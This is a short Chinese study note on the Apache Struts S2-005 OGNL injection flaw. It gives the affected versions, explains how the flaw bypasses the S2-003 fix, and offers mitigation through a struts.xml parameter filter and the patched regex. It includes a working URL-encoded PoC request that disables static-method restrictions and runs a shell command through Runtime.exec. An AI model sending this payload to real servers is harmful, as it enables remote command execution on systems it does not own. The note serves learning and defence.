写在前面
这篇文章是关于作者学习s2-005漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com
正文
漏洞分析
影响版本
Struts 2.0.0 - Struts 2.1.8.1
漏洞原理
漏洞原理同s2-003,本质上是对恶意字符过滤不充分,在修补s2-003的时候,官方的做法是新增加 allowStaticMethodAccess 属性,这相当于上了把锁,但是钥匙还在别人手里,只要把这个属性关了,就绕过限制了
利用条件/测试情景
利用方法
PoC:(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
如何修复
紧急处理方法(仅供参考)
配置struts.xml文件
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>
观察恶意请求的流量特征,设置安全设备的防护规则
补丁修复方法
重新设计了匹配的正则表达式:
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";